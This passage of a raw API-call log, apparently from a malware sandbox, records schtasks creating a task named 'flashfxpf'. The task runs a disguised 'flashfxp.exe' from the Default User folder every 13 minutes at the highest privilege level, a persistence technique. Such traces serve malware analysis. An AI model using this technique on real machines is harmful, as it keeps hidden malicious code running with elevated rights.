returned 0x0 [0164.818] SetLastError (dwErrCode=0x490) [0164.818] lstrlenW (lpString="it") returned 2 [0164.818] lstrlenW (lpString="it") returned 2 [0164.818] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.818] lstrlenW (lpString="f") returned 1 [0164.818] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.818] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|it|") returned 4 [0164.818] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.818] lstrlenW (lpString="|it|") returned 4 [0164.818] lstrlenW (lpString="|f|") returned 3 [0164.818] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0164.818] SetLastError (dwErrCode=0x490) [0164.818] lstrlenW (lpString="et") returned 2 [0164.818] lstrlenW (lpString="et") returned 2 [0164.818] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.818] lstrlenW (lpString="f") returned 1 [0164.818] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.818] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|et|") returned 4 [0164.818] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.818] lstrlenW (lpString="|et|") returned 4 [0164.818] lstrlenW (lpString="|f|") returned 3 [0164.818] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0164.818] SetLastError (dwErrCode=0x490) [0164.818] lstrlenW (lpString="k") returned 1 [0164.818] lstrlenW (lpString="k") returned 1 [0164.818] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.818] lstrlenW (lpString="f") returned 1 [0164.818] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.819] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|k|") returned 3 [0164.819] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.819] lstrlenW (lpString="|k|") returned 3 [0164.819] lstrlenW (lpString="|f|") returned 3 [0164.819] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0164.819] SetLastError (dwErrCode=0x490) [0164.819] lstrlenW (lpString="du") returned 2 [0164.819] lstrlenW (lpString="du") returned 2 [0164.819] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.819] lstrlenW (lpString="f") returned 1 [0164.819] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.819] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|du|") returned 4 [0164.819] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.819] lstrlenW (lpString="|du|") returned 4 [0164.819] lstrlenW (lpString="|f|") returned 3 [0164.819] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0164.819] SetLastError (dwErrCode=0x490) [0164.819] lstrlenW (lpString="ri") returned 2 [0164.819] lstrlenW (lpString="ri") returned 2 [0164.819] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.819] lstrlenW (lpString="f") returned 1 [0164.819] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.819] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ri|") returned 4 [0164.819] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.819] lstrlenW (lpString="|ri|") returned 4 [0164.819] lstrlenW (lpString="|f|") returned 3 [0164.819] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0164.819] SetLastError (dwErrCode=0x490) [0164.819] lstrlenW (lpString="z") returned 1 [0164.819] lstrlenW (lpString="z") returned 1 [0164.819] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.820] lstrlenW (lpString="f") returned 1 [0164.820] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.820] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|z|") returned 3 [0164.820] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.820] lstrlenW (lpString="|z|") returned 3 [0164.820] lstrlenW (lpString="|f|") returned 3 [0164.820] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0164.820] SetLastError (dwErrCode=0x490) [0164.820] lstrlenW (lpString="f") returned 1 [0164.820] lstrlenW (lpString="f") returned 1 [0164.820] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.820] lstrlenW (lpString="f") returned 1 [0164.820] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.820] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.820] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.820] lstrlenW (lpString="|f|") returned 3 [0164.820] lstrlenW (lpString="|f|") returned 3 [0164.820] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0164.820] SetLastError (dwErrCode=0x0) [0164.820] SetLastError (dwErrCode=0x0) [0164.820] GetProcessHeap () returned 0x220000 [0164.820] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd50 [0164.820] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.820] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0164.820] lstrlenW (lpString="LIMITED") returned 7 [0164.820] GetProcessHeap () returned 0x220000 [0164.820] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d580 [0164.820] GetThreadLocale () returned 0x409 [0164.820] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0164.820] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0164.821] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.821] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0164.821] lstrlenW (lpString="HIGHEST") returned 7 [0164.821] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d5a0 [0164.821] GetThreadLocale () returned 0x409 [0164.821] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0164.821] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0164.821] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.821] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0164.821] lstrlenW (lpString="MINUTE") returned 6 [0164.821] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d5c0 [0164.821] GetThreadLocale () returned 0x409 [0164.821] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0164.821] SetLastError (dwErrCode=0x0) [0164.821] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1fc) returned 0x23c250 [0164.821] GetProcessHeap () returned 0x220000 [0164.821] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccc0 [0164.821] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.821] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0164.821] lstrlenW (lpString="First") returned 5 [0164.821] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d5e0 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc90 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.822] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0164.822] lstrlenW (lpString="Second") returned 6 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d600 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc60 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.822] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0164.822] lstrlenW (lpString="Third") returned 5 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d620 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc30 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.822] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0164.822] lstrlenW (lpString="Fourth") returned 6 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d640 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.822] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0164.822] lstrlenW (lpString="Last") returned 4 [0164.822] GetProcessHeap () returned 0x220000 [0164.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23d660 [0164.822] lstrlenW (lpString="13") returned 2 [0164.822] _wtol (_String="13") returned 13 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.822] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0164.822] lstrlenW (lpString="First") returned 5 [0164.822] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0164.823] lstrlenW (lpString="Second") returned 6 [0164.823] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0164.823] lstrlenW (lpString="Third") returned 5 [0164.823] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0164.823] lstrlenW (lpString="Fourth") returned 6 [0164.823] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0164.823] lstrlenW (lpString="Last") returned 4 [0164.823] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc740, cchData=128 | out: lpLCData="0") returned 2 [0164.823] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0164.823] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0164.823] GetProcessHeap () returned 0x220000 [0164.823] GetProcessHeap () returned 0x220000 [0164.823] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0) returned 1 [0164.823] GetProcessHeap () returned 0x220000 [0164.823] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5e0) returned 0xc [0164.823] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5e0 | out: hHeap=0x220000) returned 1 [0164.823] GetProcessHeap () returned 0x220000 [0164.823] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d5e0 [0164.823] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc760, cchData=128 | out: lpLCData="0") returned 2 [0164.823] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.823] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0164.823] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0164.824] GetProcessHeap () returned 0x220000 [0164.824] GetProcessHeap () returned 0x220000 [0164.824] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600) returned 1 [0164.824] GetProcessHeap () returned 0x220000 [0164.824] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d600) returned 0xe [0164.824] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d600 | out: hHeap=0x220000) returned 1 [0164.824] GetProcessHeap () returned 0x220000 [0164.824] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d600 [0164.825] GetLocalTime (in: lpSystemTime=0x1bc990 | out: lpSystemTime=0x1bc990*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x17, wMilliseconds=0x3b0)) [0164.825] lstrlenW (lpString="") returned 0 [0164.825] GetLocalTime (in: lpSystemTime=0x1bd248 | out: lpSystemTime=0x1bd248*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x17, wMilliseconds=0x3b0)) [0164.825] lstrlenW (lpString="") returned 0 [0164.825] lstrlenW (lpString="") returned 0 [0164.825] lstrlenW (lpString="") returned 0 [0164.825] lstrlenW (lpString="") returned 0 [0164.825] lstrlenW (lpString="13") returned 2 [0164.825] _wtol (_String="13") returned 13 [0164.825] lstrlenW (lpString="") returned 0 [0164.825] lstrlenW (lpString="") returned 0 [0164.825] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0164.862] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0164.914] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bd010 | out: ppv=0x1bd010*=0x517a50) returned 0x0 [0164.925] TaskScheduler:ITaskService:Connect (This=0x517a50, serverName=0x1bd0f0*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bd0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bd0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bd090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0164.953] TaskScheduler:IUnknown:AddRef (This=0x517a50) returned 0x2 [0164.953] TaskScheduler:ITaskService:GetFolder (in: This=0x517a50, Path=0x0, ppFolder=0x1bd1a8 | out: ppFolder=0x1bd1a8*=0x517c10) returned 0x0 [0164.956] TaskScheduler:ITaskService:NewTask (in: This=0x517a50, flags=0x0, ppDefinition=0x1bd1a0 | out: ppDefinition=0x1bd1a0*=0x517c60) returned 0x0 [0164.957] ITaskDefinition:get_Actions (in: This=0x517c60, ppActions=0x1bd120 | out: ppActions=0x1bd120*=0x517d20) returned 0x0 [0164.957] IActionCollection:Create (in: This=0x517d20, Type=0, ppAction=0x1bd140 | out: ppAction=0x1bd140*=0x5160c0) returned 0x0 [0164.957] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.957] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.957] lstrlenW (lpString=" ") returned 1 [0164.957] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.957] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0164.958] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0164.958] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0164.959] IUnknown:Release (This=0x5160c0) returned 0x1 [0164.959] IUnknown:Release (This=0x517d20) returned 0x1 [0164.959] ITaskDefinition:get_Triggers (in: This=0x517c60, ppTriggers=0x1bcca0 | out: ppTriggers=0x1bcca0*=0x517e60) returned 0x0 [0164.959] ITriggerCollection:Create (in: This=0x517e60, Type=1, ppTrigger=0x1bcc98 | out: ppTrigger=0x1bcc98*=0x516130) returned 0x0 [0164.959] lstrlenW (lpString="13") returned 2 [0164.959] _vsnwprintf (in: _Buffer=0x1bcc20, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1bcc18 | out: _Buffer="PT13M") returned 5 [0164.959] ITrigger:get_Repetition (in: This=0x516130, ppRepeat=0x1bcc90 | out: ppRepeat=0x1bcc90*=0x5161c0) returned 0x0 [0164.959] IRepetitionPattern:put_Interval (This=0x5161c0, Interval="PT13M") returned 0x0 [0164.960] IUnknown:Release (This=0x5161c0) returned 0x1 [0164.960] _vsnwprintf (in: _Buffer=0x1bcbe0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bcbb8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0164.960] ITrigger:put_StartBoundary (This=0x516130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0164.960] lstrlenW (lpString="") returned 0 [0164.960] lstrlenW (lpString="") returned 0 [0164.960] lstrlenW (lpString="") returned 0 [0164.960] lstrlenW (lpString="") returned 0 [0164.960] IUnknown:Release (This=0x516130) returned 0x1 [0164.960] IUnknown:Release (This=0x517e60) returned 0x1 [0164.960] ITaskDefinition:get_Settings (in: This=0x517c60, ppSettings=0x1bd140 | out: ppSettings=0x1bd140*=0x517ed0) returned 0x0 [0164.960] lstrlenW (lpString="") returned 0 [0164.960] IUnknown:Release (This=0x517ed0) returned 0x1 [0164.961] GetLocalTime (in: lpSystemTime=0x1bcff8 | out: lpSystemTime=0x1bcff8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x18, wMilliseconds=0x45)) [0164.961] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0164.961] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0164.961] GetUserNameW (in: lpBuffer=0x1bd020, pcbBuffer=0x1bd008 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bd008) returned 1 [0164.961] ITaskDefinition:get_RegistrationInfo (in: This=0x517c60, ppRegistrationInfo=0x1bcff0 | out: ppRegistrationInfo=0x1bcff0*=0x517da0) returned 0x0 [0164.962] IRegistrationInfo:put_Author (This=0x517da0, Author="") returned 0x0 [0164.962] _vsnwprintf (in: _Buffer=0x1bd020, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bcfb8 | out: _Buffer="2022-08-06T02:19:24") returned 19 [0164.962] IRegistrationInfo:put_Date (This=0x517da0, Date="") returned 0x0 [0164.962] IUnknown:Release (This=0x517da0) returned 0x1 [0164.962] malloc (_Size=0x18) returned 0x516220 [0164.962] free (_Block=0x516220) [0164.962] lstrlenW (lpString="") returned 0 [0164.962] ITaskDefinition:get_Principal (in: This=0x517c60, ppPrincipal=0x1bd210 | out: ppPrincipal=0x1bd210*=0x516010) returned 0x0 [0164.963] IPrincipal:put_RunLevel (This=0x516010, RunLevel=1) returned 0x0 [0164.963] IUnknown:Release (This=0x516010) returned 0x1 [0164.963] malloc (_Size=0x18) returned 0x516220 [0164.963] ITaskFolder:RegisterTaskDefinition (in: This=0x517c10, Path="flashfxpf", pDefinition=0x517c60, flags=6, UserId=0x1bd290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bd2d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf1a0, varVal2=0xfe), LogonType=3, sddl=0x1bd2b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bd1b0 | out: ppTask=0x1bd1b0*=0x5163c0) returned 0x0 [0165.112] free (_Block=0x516220) [0165.112] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0165.112] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0165.112] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0165.112] GetProcessHeap () returned 0x220000 [0165.112] GetProcessHeap () returned 0x220000 [0165.112] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d620) returned 1 [0165.112] GetProcessHeap () returned 0x220000 [0165.112] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d620) returned 0xc [0165.112] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d620 | out: hHeap=0x220000) returned 1 [0165.112] GetProcessHeap () returned 0x220000 [0165.113] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x82) returned 0x259bb0 [0165.113] _vsnwprintf (in: _Buffer=0x1bd8f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bd158 | out: _Buffer="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n") returned 71 [0165.113] _fileno (_File=0x7fefed02ab0) returned -2 [0165.113] _errno () returned 0x514bb0 [0165.113] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0165.113] SetLastError (dwErrCode=0x6) [0165.113] lstrlenW (lpString="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n") returned 71 [0165.113] GetConsoleOutputCP () returned 0x0 [0165.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0165.114] GetConsoleOutputCP () returned 0x0 [0165.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0165.114] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0165.114] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0165.114] IUnknown:Release (This=0x5163c0) returned 0x0 [0165.114] TaskScheduler:IUnknown:Release (This=0x517c60) returned 0x0 [0165.114] TaskScheduler:IUnknown:Release (This=0x517c10) returned 0x0 [0165.115] TaskScheduler:IUnknown:Release (This=0x517a50) returned 0x1 [0165.115] lstrlenW (lpString="") returned 0 [0165.115] lstrlenW (lpString="13") returned 2 [0165.115] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.115] GetProcessHeap () returned 0x220000 [0165.115] GetProcessHeap () returned 0x220000 [0165.115] HeapValidate (hHeap=0x220000, dwFlags=0x0, 